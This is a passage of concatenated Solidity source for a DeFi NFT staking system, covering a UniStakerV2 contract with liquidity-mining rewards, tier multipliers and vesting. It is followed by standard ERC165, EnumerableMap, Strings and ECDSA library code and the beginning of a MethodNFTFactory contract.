"A reward program already live for this token"); require(rewardCalcTemplates[rewardCalcTemplateName] != address(0), "Reward Calculator Template does not exist"); // create reward calc clone from template address rewardCalcInstance = ProxyFactory._create(rewardCalcTemplates[rewardCalcTemplateName], abi.encodeWithSelector(IERC2917.initialize.selector)); LMRewardData storage lmrd = lmRewards[token]; lmrd.amount = amount; lmrd.duration = duration; lmrd.startedAt = block.timestamp; lmrd.rewardCalcInstance = rewardCalcInstance; } function setImplementorForRewardsCalculator(address token, address newImplementor) public { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).setImplementor(newImplementor); } function setLMRewardsPerBlock(address token, uint value) public onlyOnline { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).changeInterestRatePerBlock(value); } function addBonusTokenToLMRewards(address lmToken, address bonusToken, uint256 bonusTokenAmount) public { _admin(); require(lmRewards[lmToken].startedAt != 0, "No reward program currently live for this LM token"); require(_bonusTokenSet.contains(bonusToken), "Bonus token not registered"); lmRewards[lmToken].bonusTokens.add(bonusToken); lmRewards[lmToken].bonusTokenAmounts[bonusToken] = lmRewards[lmToken].bonusTokenAmounts[bonusToken].add(bonusTokenAmount); } function endLMRewards(address token, bool removeBonusTokenData) public { _admin(); lmRewards[token].amount = 0; lmRewards[token].duration = 0; lmRewards[token].startedAt = 0; lmRewards[token].rewardCalcInstance = address(0); if (removeBonusTokenData) { for (uint index = 0; index < lmRewards[token].bonusTokens.length(); index++) { address bonusToken = lmRewards[token].bonusTokens.at(index); lmRewards[token].bonusTokens.remove(bonusToken); delete lmRewards[token].bonusTokenAmounts[bonusToken]; } } } function setMaxStakesPerVault(uint256 amount) external { _admin(); MAX_TOKENS_STAKED_PER_VAULT = amount; } function setMaxBonusTokens(uint256 amount) external { _admin(); MAX_BONUS_TOKENS = amount; } function setPlatinumLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); PLATINUM_LM_REWARD_MULTIPLIER_NUM = numerator; PLATINUM_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setGoldLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); GOLD_LM_REWARD_MULTIPLIER_NUM = numerator; GOLD_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setMintLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); MINT_LM_REWARD_MULTIPLIER_NUM = numerator; MINT_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setBlackLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); BLACK_LM_REWARD_MULTIPLIER_NUM = numerator; BLACK_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setLMRewardVestingPeriod(uint256 amount) external { _admin(); LM_REWARD_VESTING_PERIOD = amount; } function setLMRewardVestingPortion(uint256 numerator, uint denominator) external { _admin(); LM_REWARD_VESTING_PORTION_NUM = numerator; LM_REWARD_VESTING_PORTION_DENOM = denominator; } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function getNumVaults() external view override returns (uint256 num) { return _vaultSet.length(); } function getVaultAt(uint256 index) external view override returns (address vault) { return _vaultSet.at(index); } function getNumTokensStaked() external view override returns (uint256 num) { return _allStakedTokens.length(); } function getTokenStakedAt(uint256 index) external view override returns (address token) { return _allStakedTokens.at(index); } function getNumTokensStakedInVault(address vault) external view override returns (uint256 num) { return _vaults[vault].tokens.length(); } function getVaultTokenAtIndex(address vault, uint256 index) external view override returns (address vaultToken) { return _vaults[vault].tokens.at(index); } function getVaultTokenStake(address vault, address token) external view override returns (uint256 tokenStake) { return _vaults[vault].tokenStake[token]; } function getNftTier(uint256 nftId, address nftFactory) public view returns (string memory tier) { uint256 serialNumber = MethodNFTFactory(nftFactory).tokenIdToSerialNumber(nftId); if (serialNumber >= 1 && serialNumber <= 100) { tier = PLATINUM; } else if (serialNumber >= 101 && serialNumber <= 1000) { tier = GOLD; } else if (serialNumber >= 1001 && serialNumber <= 5000) { tier = MINT; } else if (serialNumber >= 5001) { tier = BLACK; } } function getLMRewardData(address token) external view override returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance) { return (lmRewards[token].amount, lmRewards[token].duration, lmRewards[token].startedAt, lmRewards[token].rewardCalcInstance); } function getLMRewardBonusTokensLength(address token) external view override returns (uint length) { return lmRewards[token].bonusTokens.length(); } function getLMRewardBonusTokenAt(address token, uint index) external view override returns (address bonusToken, uint bonusTokenAmount) { return (lmRewards[token].bonusTokens.at(index), lmRewards[token].bonusTokenAmounts[lmRewards[token].bonusTokens.at(index)]); } function getNumVestingLMTokenRewards(address user) external view override returns (uint num) { return vestingLMTokenRewards[user].length(); } function getVestingLMTokenAt(address user, uint index) external view override returns (address token) { return vestingLMTokenRewards[user].at(index); } function getNumVests(address user, address token) external view override returns (uint num) { return vestingLMRewards[user][token].length; } function getLMRewardVestingData(address user, address token, uint index) external view override returns (uint amount, uint startedAt) { return (vestingLMRewards[user][token][index].amount, vestingLMRewards[user][token][index].startedAt); } function getNumRewardCalcTemplates() external view override returns (uint num) { return rewardCalcTemplateNames.length; } /* helper functions */ function isValidVault(address vault, address factory) public view override returns (bool validity) { // validate vault is created from whitelisted vault factory and is an instance of that factory return _vaultFactorySet.contains(factory) && IInstanceRegistry(factory).isInstance(vault); } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != rewardToken && target != rewardPool && !_bonusTokenSet.contains(target); } /* convenience functions */ function _tierMultipliedReward(uint nftId, address nftFactory, uint reward) private view returns (uint multipliedReward) { // get tier string memory tier = getNftTier(nftId, nftFactory); bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { multipliedReward = reward.mul(PLATINUM_LM_REWARD_MULTIPLIER_NUM).div(PLATINUM_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { multipliedReward = reward.mul(GOLD_LM_REWARD_MULTIPLIER_NUM).div(GOLD_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { multipliedReward = reward.mul(MINT_LM_REWARD_MULTIPLIER_NUM).div(MINT_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { multipliedReward = reward.mul(BLACK_LM_REWARD_MULTIPLIER_NUM).div(BLACK_LM_REWARD_MULTIPLIER_DENOM); } } /* user functions */ /// @notice Exit UniStakerV2 without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of tokens staked per vault is set with MAX_TOKENS_STAKED_PER_VAULT to /// place an upper bound on the for loop. /// access control: callable by anyone but fails if caller is not an approved vault /// state machine: /// - when vault exists on this UniStakerV2 /// - when active stake from this vault /// - any power state /// state scope: /// - decrease stakedTokenTotal[token], delete if 0 /// - delete _vaults[vault].tokenStake[token] /// - remove _vaults[vault].tokens.remove(token) /// - delete _vaults[vault] /// - remove vault from _vaultSet /// - remove token from _allStakedTokens if required /// token transfer: none function rageQuit() external override { require(_vaultSet.contains(msg.sender), "UniStakerV2: no vault"); //fetch vault storage reference VaultData storage vaultData = _vaults[msg.sender]; // revert if no active tokens staked EnumerableSet.AddressSet storage vaultTokens = vaultData.tokens; require(vaultTokens.length() > 0, "UniStakerV2: no stake"); // update totals for (uint256 index = 0; index < vaultTokens.length(); index++) { address token = vaultTokens.at(index); vaultTokens.remove(token); uint256 amount = vaultData.tokenStake[token]; uint256 newTotal = stakedTokenTotal[token].sub(amount); assert(newTotal >= 0); if (newTotal == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } else { stakedTokenTotal[token] = newTotal; } delete vaultData.tokenStake[token]; } // delete vault data _vaultSet.remove(msg.sender); delete _vaults[msg.sender]; // emit event emit RageQuit(msg.sender); } /// @notice Stake ERC721 tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this UniStakerV2 /// state scope: /// - add token to _vaults[vault].tokens if not already exists /// - increase _vaults[vault].tokenStake[token] /// - add vault to _vaultSet if not already exists /// - add token to _allStakedTokens if not already exists /// - increase stakedTokenTotal[token] /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake to /// @param vaultFactory address The address of the vault factory which created the vault /// @param token address The address of the token being staked /// @param tokenId uint256 The id of token to stake function stakeERC721( address vault, address vaultFactory, address token, uint256 tokenId, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault, vaultFactory), "UniStakerV2: vault is not valid"); // add vault to set _vaultSet.add(vault); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require(vaultData.tokens.length() < MAX_TOKENS_STAKED_PER_VAULT, "UniStakerV2: MAX_TOKENS_STAKED_PER_VAULT reached"); // add token to set and increase amount vaultData.tokens.add(token); vaultData.tokenStake[token] = vaultData.tokenStake[token].add(1); // update total token staked _allStakedTokens.add(token); stakedTokenTotal[token] = stakedTokenTotal[token].add(1); // perform transfer to vault IERC721(token).safeTransferFrom(msg.sender, vault, tokenId); // call lock on vault IUniversalVaultV2(vault).lockERC721(token, tokenId, permission); // check if there is a reward program currently running if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint rewardEarned,) = IERC2917(rewardCalcInstance).increaseProductivity(msg.sender, 1); earnedLMRewards[msg.sender][token] = earnedLMRewards[msg.sender][token].add(rewardEarned); } // emit event emit Staked(vault, token, tokenId); } /// @notice Unstake ERC721 tokens and claim reward /// @dev LM rewards can only be claimed when unstaking /// access control: anyone with permission /// state machine: /// - when vault exists on this UniStakerV2 /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _vaults[vault].tokenStake[token] /// - delete token from _vaults[vault].tokens if token stake is 0 /// - decrease stakedTokenTotal[token] /// - delete token from _allStakedTokens if total token stake is 0 /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param vaultFactory address The vault factory that created this vault /// @param recipient address The recipient to send reward to /// @param token address The staking token /// @param tokenId uint256 The id of the token to unstake /// @param claimBonusReward bool flag to claim bonus rewards function unstakeERC721AndClaimReward( address vault, address vaultFactory, address recipient, address token, uint256 tokenId, bool claimBonusReward, bytes calldata permission ) external override onlyOnline { require(_vaultSet.contains(vault), "UniStakerV2: no vault"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // validate recipient require(isValidAddress(recipient), "UniStakerV2: invalid recipient"); // check for sufficient vault stake amount require(vaultData.tokens.contains(token), "UniStakerV2: no token in vault"); // check for sufficient vault stake amount require(vaultData.tokenStake[token] >= 1, "UniStakerV2: insufficient vault token stake"); // check for sufficient total token stake amount // if the above check succeeds and this check fails, there is a bug in stake accounting require(stakedTokenTotal[token] >= 1, "stakedTokenTotal[token] is less than 1"); // check if there is a reward program currently running uint rewardEarned = earnedLMRewards[msg.sender][token]; if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint newReward,) = IERC2917(rewardCalcInstance).decreaseProductivity(msg.sender, 1); rewardEarned = rewardEarned.add(newReward); } // decrease totalStake of token in this vault vaultData.tokenStake[token] = vaultData.tokenStake[token].sub(1); if (vaultData.tokenStake[token] == 0) { vaultData.tokens.remove(token); delete vaultData.tokenStake[token]; } // decrease stakedTokenTotal across all vaults stakedTokenTotal[token] = stakedTokenTotal[token].sub(1); if (stakedTokenTotal[token] == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } // unlock staking tokens from vault IUniversalVaultV2(vault).unlockERC721(token, tokenId, permission); // emit event emit Unstaked(vault, token, tokenId); // only perform on non-zero reward if (rewardEarned > 0) { // transfer bonus tokens from reward pool to recipient // bonus tokens can only be claimed during an active rewards program if (claimBonusReward && lmRewards[token].startedAt != 0) { for (uint256 index = 0; index < lmRewards[token].bonusTokens.length(); index++) { // fetch bonus token address reference address bonusToken = lmRewards[token].bonusTokens.at(index); // calculate bonus token amount // bonusAmount = rewardEarned * allocatedBonusReward / allocatedMainReward uint256 bonusAmount = rewardEarned.mul(lmRewards[token].bonusTokenAmounts[bonusToken]).div(lmRewards[token].amount); // transfer bonus token IRewardPool(rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // take care of multiplier uint multipliedReward = _tierMultipliedReward(uint(vault), vaultFactory, rewardEarned); // take care of vesting uint vestingPortion = multipliedReward.mul(LM_REWARD_VESTING_PORTION_NUM).div(LM_REWARD_VESTING_PORTION_DENOM); vestingLMRewards[msg.sender][token].push(LMRewardVestingData(vestingPortion, block.timestamp)); vestingLMTokenRewards[msg.sender].add(token); // set earned reward to 0 earnedLMRewards[msg.sender][token] = 0; // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, recipient, multipliedReward.sub(vestingPortion)); // emit event emit RewardClaimed(vault, recipient, rewardToken, rewardEarned); } } function claimVestedReward() external override onlyOnline { uint numTokens = vestingLMTokenRewards[msg.sender].length(); for (uint index = 0; index < numTokens; index++) { address token = vestingLMTokenRewards[msg.sender].at(index); claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } } function claimVestedReward(address token) external override onlyOnline { claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } function claimVestedReward(address token, uint numVests) public onlyOnline { require(numVests <= vestingLMRewards[msg.sender][token].length, "num vests can't be greater than available vests"); LMRewardVestingData[] storage vests = vestingLMRewards[msg.sender][token]; uint vestedReward; for (uint index = 0; index < numVests; index++) { LMRewardVestingData storage vest = vests[index]; uint duration = block.timestamp.sub(vest.startedAt); uint vested = vest.amount.mul(duration).div(LM_REWARD_VESTING_PERIOD); if (vested >= vest.amount) { // completely vested vested = vest.amount; // copy last element into this slot and pop last vests[index] = vests[vests.length - 1]; vests.pop(); index--; numVests--; // if all vested remove from set if (vests.length == 0) { vestingLMTokenRewards[msg.sender].remove(token); break; } } else { vest.amount = vest.amount.sub(vested); } vestedReward = vestedReward.add(vested); } if (vestedReward > 0) { // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, vestedReward); // emit event emit VestedRewardClaimed(msg.sender, rewardToken, vestedReward); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IFactory { function create(bytes calldata args) external returns (address instance); function create2(bytes calldata args, bytes32 salt) external returns (address instance); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; interface IInstanceRegistry { /* events */ event InstanceAdded(address instance); event InstanceRemoved(address instance); /* view functions */ function isInstance(address instance) external view returns (bool validity); function instanceCount() external view returns (uint256 count); function instanceAt(uint256 index) external view returns (address instance); } /// @title InstanceRegistry contract InstanceRegistry is IInstanceRegistry { using EnumerableSet for EnumerableSet.AddressSet; /* storage */ EnumerableSet.AddressSet private _instanceSet; /* view functions */ function isInstance(address instance) external view override returns (bool validity) { return _instanceSet.contains(instance); } function instanceCount() external view override returns (uint256 count) { return _instanceSet.length(); } function instanceAt(uint256 index) external view override returns (address instance) { return _instanceSet.at(index); } /* admin functions */ function _register(address instance) internal { require(_instanceSet.add(instance), "InstanceRegistry: already registered"); emit InstanceAdded(instance); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; import {IUniversalVault} from "./MethodVault.sol"; /// @title MethodNFTFactory contract MethodNFTFactory is Ownable, IFactory, IInstanceRegistry, ERC721 { using SafeMath for uint256; bytes32[] public names; mapping(bytes32=>address) public templates; bytes32 public activeTemplate; uint256 public tokenSerialNumber; mapping(uint256=>uint256) public 